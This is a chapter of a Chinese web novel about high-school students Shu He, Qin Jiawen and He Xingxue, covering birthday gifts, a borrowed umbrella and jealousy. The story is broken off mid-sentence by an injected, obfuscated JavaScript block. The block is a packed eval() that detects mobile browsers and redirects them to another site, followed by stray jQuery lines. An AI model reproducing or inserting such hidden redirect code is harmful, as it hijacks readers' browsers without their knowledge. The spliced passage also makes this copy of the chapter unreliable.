16. 第 16 章
作品:《夏禾冬橘》 开学几周过后,舒禾彻底融入到分班后的学习当中,进步飞快。加上有年级第一的辅导,就算是基础薄弱的那两科,成绩也提升得非常明显,上周周考的成绩出来后,舒禾发现她的班级排名居然上升了六个名次!
虽然依旧是吊车尾。
不过只要在进步就是好事情,舒禾心态还不错,每天都充满动力,这股学习的劲头更大了,除开上课时间,她课余几乎从早到晚都在刷题,一周就能写完三本厚厚的题册!
任姝宁看见,自叹弗如。
“阿禾,照你这么学下去,明年我该不会就要拥有一个文科状元的好朋友了吧!”
任姝宁幻想了一下那个场景,心里深觉与有荣焉,激动地自告奋勇道:“到时候如果有一堆记者拦在校门口不让走,你只管放心,我一定会把你掩护得好好的!”
舒禾被她揶揄得脸颊都烧了起来,扑上去捂住她喋喋不休的嘴:“你不许乱说!我这才哪到哪呀……”
嘴巴被捂住也不能阻止任姝宁发出含含糊糊的声音:“我说真的!阿禾你这么聪明,又这么努力……”
“停停停停停!”舒禾简直受不了好朋友对她的迷之自信,连忙打住她,松开手,极快地切换到另一个话题,“阿宁,我想不出来该送男生什么礼物比较好,你有没有推荐的呀?”
一听这话,任姝宁果然被转移了注意力,兴奋地凑了过去,八卦之魂熊熊燃烧:“送谁啊?不会是我们的年级第一吧!!”
她知晓这两人每周末都约在一起学习。
互为状元预备役选手,宿敌变恋人,校园到都市,双强cp,天啊,任姝宁双眼放光,脑子里瞬间叠满了元素,好嗑!好嗑!
舒禾点了点头,知道她又想歪了,不得不解释道:“下周末是秦嘉文生日,他帮了我这么多,我总要回赠一点心意。我和他就是普通朋友,你别多想啦。”
下周末的中午秦嘉文家里要给他举办生日聚会,所以他最快也只能下午才到书店,便提前和她说了这事。
“好吧。”刚磕起来的cp就被正主拆散了,任姝宁有点失落,不过依旧仔细想了想,琢磨道:“男生一般都喜欢比较实用的礼物,像学习用具啊,运动用品啊……哦对了,我听说秦嘉文有晨跑的习惯,或许可以买点运动相关的?”
舒禾若有所思地唔了一声,觉得这个主意不错,可以回去找找看。两人接着聊了一会,任姝宁突然想起来一件事。
“那天我给你发贺男神的帖子,你先是回我一个他不是好人,怎么没过多久就变卦了,又发来一句说,他人挺好?”她当时还发过去一个疑问号,结果舒禾死活不回复了。
“……”
突然提起这个事,她还有些心虚地躲开了视线。
那天前脚刚说完别人不是好人,后脚别人就出现在她面前,还帮她解决了麻烦事。舒禾心里很是惭愧,但是发出去的消息已经无法撤回,只能强装淡定地找补了一句。
“就……突然觉得背后说人坏话不太好。”面对任姝宁炯炯的眼神,她快速含糊了过去。
送礼思路有了着落,当晚回家,写完给自己布置的课外作业后,舒禾就拿起手机,搜索了一下运动相关的礼物推荐。
篮球、筋膜枪、运动护膝、运动手环……天啊这也太多种类了,选择困难症都要犯了。
挑了十几分钟,没选出个结果,反而把她看得眼花缭乱。舒禾泄气地放下手机,准备先去洗漱,边洗边想。
正准备起身时,她的余光忽然瞥见一小抹橙色,动作不由一顿。
那是之前从贺行雪家慌慌张张回来后,她放在包里的那罐橘子汽水,喝也不是,丢了也不好,最后就被她随手放在了窗台上。
舒禾没起身,趴在木板书桌上,望着那罐橙色汽水,脑海中不知想起了什么,脸颊一点点漫上绯红,她局促地移开视线。
过了片刻,又犹犹豫豫拿起手机,抖着手在搜索引擎上慢慢输入:
——男生看黄片会有什么危害?
打完这行字,她的脸已经涨红得没法看,做了好几次深呼吸让自己平静下来,去看屏幕上显示的内容。
上面洋洋洒洒列举了一大堆出来:容易有成瘾倾向,影响工作、学习或睡眠,过度沉迷可能会减少现实生活社交,引发或加剧性功能障碍……
底下附了一条总结意见:如果出现以上情况,建议到医院进行专业咨询,或尝试加强与现实的连接,多培养运动等兴趣爱好转移注意。
看见“医院”两个字眼,舒禾的大脑极重极沉地轰隆一声,顿然回忆起那天,她问起此事时,男生闭口不言的画面。
霎时间,仿佛有什么从水面下浮了起来。
正常情况下,为什么在医院这种事,就算不想多说,应该也不至于会刻意回避这个话题吧……她目光呆呆的,思维不由自主地发散。
所以…他…障碍……?
舒禾红着脸赶紧晃了晃头,把这种先入为主的想法扼杀住,而后悄悄吐出一口气。
不管怎么样,青少年看这种东西总归是不好的。这些天舒禾还偶尔能回想起那张惊世骇俗的碟片,每次想到都要被震惊一次,搞得她学习效率都有所下降。贺行雪这个人虽然总是忽冷忽热,但他上次还出现替她解了围,其实人也还挺好的。
那,她是不是应该,稍微提醒一下他啊?
可是这种事情,要怎么才能说呢……
她纠结半晌,忽然想起刚才为秦嘉文选的生日礼物,里面有一个是运动手环,能设定每日运动的任务目标,精准记录数据,价格也不算太贵,两百左右。应该……挺适合他的?多运动运动,就没心思想别的了。
舒禾越想越觉得合适,正好她还愁之前洗猫那几百不知该什么办,退给他他也不要,换成礼物他总能收了。
那么,一个给秦嘉文当作生日礼物,一个送给他……当作上次的谢礼吧。
这样一来,生日礼物的事情也解决了,舒禾兴致勃勃地想,今晚可以睡个好觉了。
*
凌晨两点,天幕漆黑,万籁岑寂。
电竞桌前的屏幕淡淡散着荧光,映在男生脸上,各色光线强弱交错。
过了不知多久,激烈的键盘鼠标声停下,一局游戏结束,贺行雪终于稍稍起了困意,伸手取下头戴式耳机。
没顾上退出游戏,他第一时间拿起手机,点进某个黄色app。
闲鱼的消息界面依旧安安静静,前两条,是今早有人询问伦敦房屋是否还在转租的事情,他没有搭理,目光往下滑,落在一个土里土气的莲花头像上。
那里的消息栏,还停滞在交易成功后,系统自带的“快给ta一个评价吧~”上面。
没有新消息。
他把界面往上滑,不信邪似的,手动刷新了几下。
还是没有。
他盯着屏幕,眉心无意识蹙起一道痕,屏幕光映得他皮肤苍白,眼底的淡青也极为明显。
贺行雪握着手机,脸色不太好看。
这个傻蛋怎么回事。
伞放他这里那么久了,怎么都不来找他拿?
他的目光从手机上挪开,落到电竞桌的角落,那里躺着一把折叠得整整齐齐的嫩黄小伞。
盯着它半晌,男生视线却有些空洞,像是在透过那把伞,看着别的什么。
“给你用,我先走啦。”
女孩子眼里盛着阳光,那双眼朝他盈盈地弯了弯,跑动时,脑后乖顺的小啾轻轻晃动,像一只青鸟的尾巴。
独有的绵软欢快的嗓音,在脑海里不轻不重地回荡,羽毛似的轻飘飘。
贺行雪倏地用力闭了闭眼,连眨了好几次眼睛,迫切地让那幅画面消散掉。
怎么回事,怎么老想起她。
他抿了抿唇,看着桌面上那把小伞,心里有了答案。
用了别人的东西没还,总是惦记着也很正常。
十分合乎情理。
贺行雪往后靠在电竞椅上,捧着手机慢悠悠地转了个圈。随后点进女生的主页,上面显示她已有几天没上线过,看着看着他又忍不住皱眉,她怎么一点也想不起来这事。
要不,他提醒一下?
这样的想法在脑海里碾转了一番,立刻又被他否决掉了。
一把伞而已,这么久了他还记着,搞得他多么在意似的。
贺行雪无所事事地划动她的主页,除了洗猫的链接之外,她以前还出售了许多闲置的小东西,例如用旧的书包、几本小说漫画、一盏粉色的台灯……那盏台灯后面,还贴心地备注了光线不太好,他忍不住嗤了声,真是傻不愣登的。
价格标得很便宜,个位数至二位数不等,都显示已售,唯有一个还在售的,是一盆小多肉。
莲花形态,叶片饱满圆润,绿中带粉。
丑死了。
谁会买啊。
贺行雪嫌弃地看了会,然后眼不见为净地划走,百无聊赖地把她的主页从头到尾,又从尾到头地翻了一遍。
其实这些天他已经翻过许多遍了,链接顺序都快会背了,但架不住无聊啊。贺行雪点开那张莲花头像,再次点评了一句“果然很土”,随后退回到聊天界面上,手指微妙地顿了顿。
要不,还是提醒一下吧。
贺行雪心想。
毕竟那是颗傻蛋,可能记性不大好。
大概是这个理由说服了自己,他又把椅子转了回去,拿手机对着那把小伞拍了张照。
点击发送。
*
舒禾看到这张照片的时候,已经是第二天晚上了。
那时她刚写完课外习题,拿起手机准备看看昨晚下单的手环有没有发货,结果忽然想起早上起床时,因为太赶时间,而忽略了一条不知谁发来的闲鱼消息,于是手指半路转道,点进了闲鱼。
发来消息的是个意想不到的人。
舒禾看着。
那个名字为乱码的买家,发来了一张图片,是她的那把伞,嫩黄色的伞躺在漆黑的桌面上,极度显眼。
除此之外,就没有别的了。
干嘛突然给她发张伞的照片啊,发完也不说话,还是在凌晨两三点,这个人不睡觉的吗?
舒禾腹诽,心道难不成是要把伞还给她?可那就是一把普通的便宜小伞呀,那天见他垂着眼睛跟在后面,看着怪可怜的,所以给他遮阳用。既然给了他,她就没准备再拿回来的。
看着聊天页面光秃秃的一张照片,舒禾有些发愁,他要还给她,她也没理由拒绝,但这人平时又不来学校,她总不能去他家找他。
忖度须臾,她手指微动,打了一行字发过去,便去洗漱准备休息了。
一小时后,正是别人入睡的时间,市区罕有的低密度别墅区里寂静非常。
黑黢黢的屋内,贺行雪刚睡醒,一头黑发压得乱糟糟,他随手捞过手机,先看了眼时间,正是十二点。
屏幕下方,提示有一条新消息。
他眉眼微动,一整天了,那女生终于知道回消息了。
点进去,随意扫了扫那条新消息,他的目光忽地凝住了。
女生回复的消息是这样的——
“贺同学,你是要还我伞吗?如果是的话,请帮我交给秦嘉文吧,麻烦你了。”
贺同学。
秦嘉文。
盯着这两道称呼,贺行雪坐在床上一动不动,莫名心里怪异,像卡了一根鱼刺,不上不下的。
她什么时候和秦嘉文关系这么亲近了?
连还东西都要通过他的手。
盯了半天,到最后他也没回复,直接关掉手机,面无表情地起床洗漱。
后来连续几天,贺行雪身上一直有股低气压,吃饭也不好好吃,每顿的食量比家里那只懒猫还少,范兴文和梁玉珍不知他怎么了,问他他却只说没事,他们去检
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906338|192147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
查了他的药盒,近期也乖乖的没有擅自停药。
容姨跟着他们胆战心惊的,每天做完家务,私下便待在保姆房里翻看菜谱。
也没错啊,她一直是按这么做的,这小少爷好好的,怎么突然就不吃饭了呢?
容姨年至五十,坐在屋里,腿上摊着几本翻开的菜谱,手里拿的那本刚刚被她合上,突然有点怀疑人生了。
家里这些暗涌贺行雪并未察觉,他也并未觉得自己有哪里不对,每天依旧是打打游戏、看看网课、昼伏夜出,偶尔下楼到客厅时,会莫测地盯着他捡来的那只猫看,那肥猫好几次被他诡异的视线盯得脊背隆起,像只炸毛的恐龙,一溜烟钻进窗帘里,窗帘背后被它顶起好大一个鼓包。
最后贺行雪还是打消了再让它洗一次澡的念头。
因为不用去学校,他也不太记得清工作日和周末,还是某天程敬宇突然发消息叫他打游戏,他才知道又到周末了。
贺行雪懒洋洋地靠在椅背上,横着手机和他联机打游戏。快速收割完一波人头,程敬宇边大喊“牛逼”,边兴高采烈地调整装备。
他兴致缺缺地滑动游戏视角,静了静,忽然问:“老秦最近在干嘛。”
“他啊。”程敬宇沉迷于采购新装备,随口道:“他不一直都在跟五花八门的试题打交道嘛,家里试卷都快能搭一座长城了。”
“哦。”贺行雪应完声,不说话了。
等一局游戏结束,又是半小时过去,他没急着开下一把,漫不经心道:“好久没和他玩了,叫他一起呗。”
“呵呵。”麦克风里传来程敬宇一声拈酸的冷笑,“人忙着和小女生一起做题呢,哪有空理咱们。”
游戏里一阵沉默。
贺行雪不经意地问:“和谁啊。”
“还能是谁!”程敬宇说得义愤填膺,“就之前那个纸巾侠啊,你还记得不,他俩同班同学还是同桌,你说他们在学校里天天在一起也就算了,周末居然还要约在书店一起学习,简直黏黏糊糊的!”
说这话时,他没发现队友麦已经彻底安静了下去,他也不在意有没有人接话,自顾自地嘀嘀咕咕:“老秦这人看着挺不解风情的,简直都快成书呆子了,总不能是咱三之间第一个脱单的吧……”
两人停留在游戏大厅,耳机里除了程敬宇的嘀咕声,就只剩下游戏背景音乐。
贺行雪不知在没在听,总之那头的程敬宇一直说个不停。
男生手指缓慢而持续地在屏幕上动作,仓库、商城、活动栏,他漫无目的地把每个地方点开又关掉,视线有些空洞。接着点到了充值页面,男生面无表情地不知道充进去几个648,充完后,程敬宇那张中年商务油腻头像都被他点开看了会,半晌才后知后觉感到辣眼睛。
程敬宇说着说着终于察觉到不对劲:“你到底有没有在听啊?”
贺行雪嗯了声。
程敬宇:“那我刚刚说什么了?”
贺行雪:“……”
程敬宇操了一声,十分无语:“我说,咱找个机会过去凑凑热闹呗?就在外公的书店。”
静默几秒,贺行雪淡淡道:“不去,又和我没关系。”
语调平静得毫无起伏。
“啧,行吧。”程敬宇知道他对这些不感兴趣,也懒得再说,转而道:“那继续开下一把啊。”
贺行雪放下手机:“我不打了。”
“别啊,”程敬宇哀嚎,“再来一把,阿姨快做好午饭了,打完刚好吃饭。”
贺行雪依旧无情拒绝,并且直接退出了游戏。微信里很快收到程敬宇发来长达六十秒的语音,他懒得听,这时楼下忽然传来空灵悠长的摇铃声,丁零当啷响了三下,这是容姨做好饭了。
因着这几天没胃口,外公外婆生怕他有个三长两短,最近经常都紧张兮兮地待在家里看着他,容姨更是每顿饭都在换着花样做。
迎着三道强烈的目光,贺行雪不得不勉强吃了几口,吃完放下餐具,起身时,动作微微一顿。
他忽然低声说了句。
“我出去一趟。”
*
两只运动手环周五就送到了。
一只是很清新的天蓝色,另一只是较单调的纯黑。
今晨下了雨,气温有所下降,舒禾出门时披了件薄外套,坐在书店里写题。秦嘉文是在两点左右到的,男生直接换上了秋季校服外套,浑身裹得严严实实。
“这样不会太热吗?”舒禾停笔,好笑地瞧了眼他。
秦嘉文也笑:“还行,我比较怕冷。”
舒禾便点点头,随后拿出早就准备好的生日礼物,递给他:“生日快乐,这是一点小心意,不知道你会不会喜欢。”
秦嘉文一愣,没想到还有生日礼物。
“谢谢你啊,舒禾。”
他拆开礼物盒,里面躺着一只天蓝色运动手环,他珍惜地取出来,很给面子地当场戴在手腕,随后朝她一笑:“非常喜欢,刚好在学校里晨跑可以用得上。”
舒禾闻言便放心了:“不用谢,这段时间你真的让我学到了很多很多,我还发愁不知道怎么答谢你。”
秦嘉文谦虚道:“哪有这么夸张。”
聊了几句后,舒禾犹豫了一下:“有件事情,可以请你帮个忙吗?”
秦嘉文疑惑:“嗯?”
她将之前贺行雪在医院替她解围的经过说了一遍,而后问他能不能帮忙转交一下谢礼,毕竟他和贺行雪是朋友,见面机会肯定比她多。
“现在怎么还有这种人。”秦嘉文先是听得皱起了眉毛,再欣然应答,“当然可以,但阿雪不太爱出门,运动手环的话,不知道他能不能用得上,不过,心意到了就行。”
舒禾点点头,真心实意地说:“希望他能用上吧。”
毕竟,总在家里看那种东西,容易肾虚。
“用上什么?”
身后忽然响起男生冷淡的声音。

